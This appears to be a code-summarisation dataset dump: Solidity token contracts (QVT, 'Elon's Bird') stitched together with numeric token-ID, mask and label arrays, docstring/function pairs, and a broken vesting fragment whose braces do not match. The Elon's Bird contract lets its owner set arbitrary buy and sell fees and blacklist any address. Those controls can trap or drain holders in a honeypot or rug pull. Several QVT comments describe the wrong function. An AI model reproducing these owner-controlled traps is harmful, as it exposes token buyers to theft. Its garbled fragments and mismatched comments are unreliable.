uint256 tokens = token.balanceOf(this);
uint256 totalBalance = released.add(tokens);
uint256 releasePercent = schedule.vestedPercent();
uint256 totalRelease = totalBalance.mul(releasePercent) / 100;
if(totalRelease >= released) {
return totalRelease.sub(released);
return 0;
}
}
} else {
}
| 6,457,121 |
[
1,
7469,
6835,
364,
331,
10100,
22443,
43,
5157,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
3155,
58,
10100,
353,
14223,
6914,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
871,
10819,
72,
12,
11890,
5034,
3844,
1769,
203,
203,
565,
871,
14477,
14276,
5621,
203,
203,
565,
22443,
43,
1345,
1147,
31,
203,
203,
565,
10674,
4788,
31,
203,
203,
565,
1758,
1071,
27641,
74,
14463,
814,
31,
203,
203,
565,
2254,
5034,
1071,
15976,
31,
203,
203,
565,
1426,
1071,
22919,
273,
629,
31,
203,
203,
565,
3885,
12,
2867,
389,
2316,
16,
1758,
389,
70,
4009,
74,
14463,
814,
16,
1758,
389,
10676,
13,
1071,
288,
203,
3639,
27641,
74,
14463,
814,
273,
389,
70,
4009,
74,
14463,
814,
31,
203,
3639,
1147,
273,
22443,
43,
1345,
24899,
2316,
1769,
203,
3639,
4788,
273,
10674,
24899,
10676,
1769,
203,
565,
289,
203,
203,
203,
565,
445,
1435,
3903,
2618,
203,
565,
445,
3992,
1435,
1071,
288,
203,
3639,
2583,
12,
5,
9083,
14276,
1769,
203,
3639,
2583,
12443,
3576,
18,
15330,
422,
3410,
13,
747,
261,
3576,
18,
15330,
422,
27641,
74,
14463,
814,
10019,
203,
540,
203,
3639,
2254,
5034,
640,
9340,
72,
273,
6707,
345,
429,
6275,
5621,
203,
3639,
2583,
12,
318,
9340,
72,
405,
374,
1769,
203,
203,
3639,
15976,
273,
15976,
18,
1289,
12,
318,
9340,
72,
1769,
203,
203,
3639,
1147,
18,
13866,
12,
70,
4009,
74,
14463,
814,
16,
640,
9340,
72,
1769,
203,
203,
3639,
3626,
10819,
72,
12,
318,
9340,
72,
1769,
203,
565,
289,
203,
203,
565,
445,
18007,
1435,
1071,
2
] |
pragma solidity ^0.4.15;
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* Math operations with safety checks
*/
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract StandardToken is ERC20, SafeMath {
/* Token supply got increased and a new owner received these tokens */
event Minted(address receiver, uint amount);
/* Actual balances of token holders */
mapping(address => uint) balances;
/* approve() allowances */
mapping (address => mapping (address => uint)) allowed;
/* Interface declaration */
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract QVT is StandardToken {
string public name = "QVT";
string public symbol = "QVT";
uint public decimals = 0;
/**
* Boolean contract states
*/
bool public halted = false; //the founder address can set this to true to halt the crowdsale due to emergency
bool public preIco = true; //Pre-ico state
bool public freeze = true; //Freeze state
/**
* Initial founder address (set in constructor)
* All deposited ETH will be forwarded to this address.
* Address is a multisig wallet.
*/
address public founder = 0x0;
address public owner = 0x0;
/**
* Token count
*/
uint public totalTokens = 218750000;
uint public team = 41562500;
uint public bounty = 2187500; // Bounty count
/**
* Ico and pre-ico cap
*/
uint public preIcoCap = 17500000; // Max amount raised during pre ico 17500 ether (10%)
uint public icoCap = 175000000; // Max amount raised during crowdsale 175000 ether
/**
* Statistic values
*/
uint public presaleTokenSupply = 0; // This will keep track of the token supply created during the crowdsale
uint public presaleEtherRaised = 0; // This will keep track of the Ether raised during the crowdsale
uint public preIcoTokenSupply = 0; // This will keep track of the token supply created during the pre-ico
event Buy(address indexed sender, uint eth, uint fbt);
/* This generates a public event on the blockchain that will notify clients */
event TokensSent(address indexed to, uint256 value);
event ContributionReceived(address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function QVT(address _founder) payable {
owner = msg.sender;
founder = _founder;
// Move team token pool to founder balance
balances[founder] = team;
// Sub from total tokens team pool
totalTokens = safeSub(totalTokens, team);
// Sub from total tokens bounty pool
totalTokens = safeSub(totalTokens, bounty);
// Total supply is 175000000
totalSupply = totalTokens;
balances[owner] = totalSupply;
}
/**
* 1 QVT = 1 FINNEY
* Rrice is 1000 Qvolta for 1 ETH
*/
function price() constant returns (uint){
return 1 finney;
}
/**
* The basic entry point to participate the crowdsale process.
*
* Pay for funding, get invested tokens back in the sender address.
*/
function buy() public payable returns(bool) {
processBuy(msg.sender, msg.value);
return true;
}
function processBuy(address _to, uint256 _value) internal returns(bool) {
// Buy allowed if contract is not on halt
require(!halted);
// Amount of wei should be more that 0
require(_value>0);
// Count expected tokens price
uint tokens = _value / price();
// Total tokens should be more than user want's to buy
require(balances[owner]>tokens);
// Gave +50% of tokents on pre-ico
if (preIco) {
tokens = tokens + (tokens / 2);
}
// Check how much tokens already sold
if (preIco) {
// Check that required tokens count are less than tokens already sold on pre-ico
require(safeAdd(presaleTokenSupply, tokens) < preIcoCap);
} else {
// Check that required tokens count are less than tokens already sold on ico sub pre-ico
require(safeAdd(presaleTokenSupply, tokens) < safeSub(icoCap, preIcoTokenSupply));
}
// Send wei to founder address
founder.transfer(_value);
// Add tokens to user balance and remove from totalSupply
balances[_to] = safeAdd(balances[_to], tokens);
// Remove sold tokens from total supply count
balances[owner] = safeSub(balances[owner], tokens);
// Update stats
if (preIco) {
preIcoTokenSupply = safeAdd(preIcoTokenSupply, tokens);
}
presaleTokenSupply = safeAdd(presaleTokenSupply, tokens);
presaleEtherRaised = safeAdd(presaleEtherRaised, _value);
// Send buy Qvolta token action
Buy(_to, _value, tokens);
// /* Emit log events */
TokensSent(_to, tokens);
ContributionReceived(_to, _value);
Transfer(owner, _to, tokens);
return true;
}
/**
* Pre-ico state.
*/
function setPreIco() onlyOwner() {
preIco = true;
}
function unPreIco() onlyOwner() {
preIco = false;
}
/**
* Emergency Stop ICO.
*/
function halt() onlyOwner() {
halted = true;
}
function unHalt() onlyOwner() {
halted = false;
}
/**
* Transfer bounty to target address from bounty pool
*/
function sendTeamTokens(address _to, uint256 _value) onlyOwner() {
balances[founder] = safeSub(balances[founder], _value);
balances[_to] = safeAdd(balances[_to], _value);
// /* Emit log events */
TokensSent(_to, _value);
Transfer(owner, _to, _value);
}
/**
* Transfer team tokens to target address
*/
function sendBounty(address _to, uint256 _value) onlyOwner() {
bounty = safeSub(bounty, _value);
balances[_to] = safeAdd(balances[_to], _value);
// /* Emit log events */
TokensSent(_to, _value);
Transfer(owner, _to, _value);
}
/**
* Transfer bounty to target address from bounty pool
*/
function sendSupplyTokens(address _to, uint256 _value) onlyOwner() {
balances[owner] = safeSub(balances[owner], _value);
balances[_to] = safeAdd(balances[_to], _value);
// /* Emit log events */
TokensSent(_to, _value);
Transfer(owner, _to, _value);
}
/**
* ERC 20 Standard Token interface transfer function
*
* Prevent transfers until halt period is over.
*/
function transfer(address _to, uint256 _value) isAvailable() returns (bool success) {
return super.transfer(_to, _value);
}
/**
* ERC 20 Standard Token interface transfer function
*
* Prevent transfers until halt period is over.
*/
function transferFrom(address _from, address _to, uint256 _value) isAvailable() returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
/**
* Burn all tokens from a balance.
*/
function burnRemainingTokens() isAvailable() onlyOwner() {
Burn(owner, balances[owner]);
balances[owner] = 0;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier isAvailable() {
require(!halted && !freeze);
_;
}
/**
* Just being sent some cash? Let's buy tokens
*/
function() payable {
buy();
}
/**
* Freeze and unfreeze ICO.
*/
function freeze() onlyOwner() {
freeze = true;
}
function unFreeze() onlyOwner() {
freeze = false;
}
/**
* Replaces an owner
*/
function changeOwner(address _to) onlyOwner() {
balances[_to] = balances[owner];
balances[owner] = 0;
owner = _to;
}
/**
* Replaces a founder, transfer team pool to new founder balance
*/
function changeFounder(address _to) onlyOwner() {
balances[_to] = balances[founder];
balances[founder] = 0;
founder = _to;
}
}
|
* Transfer bounty to target address from bounty pool/ /* Emit log events */
|
function sendTeamTokens(address _to, uint256 _value) onlyOwner() {
balances[founder] = safeSub(balances[founder], _value);
balances[_to] = safeAdd(balances[_to], _value);
TokensSent(_to, _value);
Transfer(owner, _to, _value);
}
| 6,538,450 |
[
1,
5912,
324,
592,
93,
358,
1018,
1758,
628,
324,
592,
93,
2845,
19,
342,
16008,
613,
2641,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1366,
8689,
5157,
12,
2867,
389,
869,
16,
2254,
5034,
389,
1132,
13,
1338,
5541,
1435,
288,
203,
3639,
324,
26488,
63,
74,
465,
765,
65,
273,
4183,
1676,
12,
70,
26488,
63,
74,
465,
765,
6487,
389,
1132,
1769,
203,
3639,
324,
26488,
63,
67,
869,
65,
273,
4183,
986,
12,
70,
26488,
63,
67,
869,
6487,
389,
1132,
1769,
203,
3639,
13899,
7828,
24899,
869,
16,
389,
1132,
1769,
203,
3639,
12279,
12,
8443,
16,
389,
869,
16,
389,
1132,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2022-04-30
*/
/**
*Submitted for verification at Etherscan.io on 2022-04-20
*/
/**
*Submitted for verification at Etherscan.io on 2022-04-14
*/
// SPDX-License-Identifier: UNLICENSED
/*
tg: elonsbird
twitter: elonsbirdeth
website: elonsbird.com
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract elonsbird is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Elon's Bird";
string private constant _symbol = "ELONSBIRD";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 12;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xBD1bD4529bd0C4065AE7e287cf9695D783141ff4);
address payable private _marketingAddress = payable(0x60E0EdaCB6c6D39c5d7A41378E3c0287058Ac295);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000 * 10**9; //1%
uint256 public _maxWalletSize = 30000 * 10**9; //3%
uint256 public _swapTokensAtAmount = 4000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
Buy FeeSell FeeOriginal Fee
|
contract elonsbird is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Elon's Bird";
string private constant _symbol = "ELONSBIRD";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 12;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xBD1bD4529bd0C4065AE7e287cf9695D783141ff4);
address payable private _marketingAddress = payable(0x60E0EdaCB6c6D39c5d7A41378E3c0287058Ac295);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
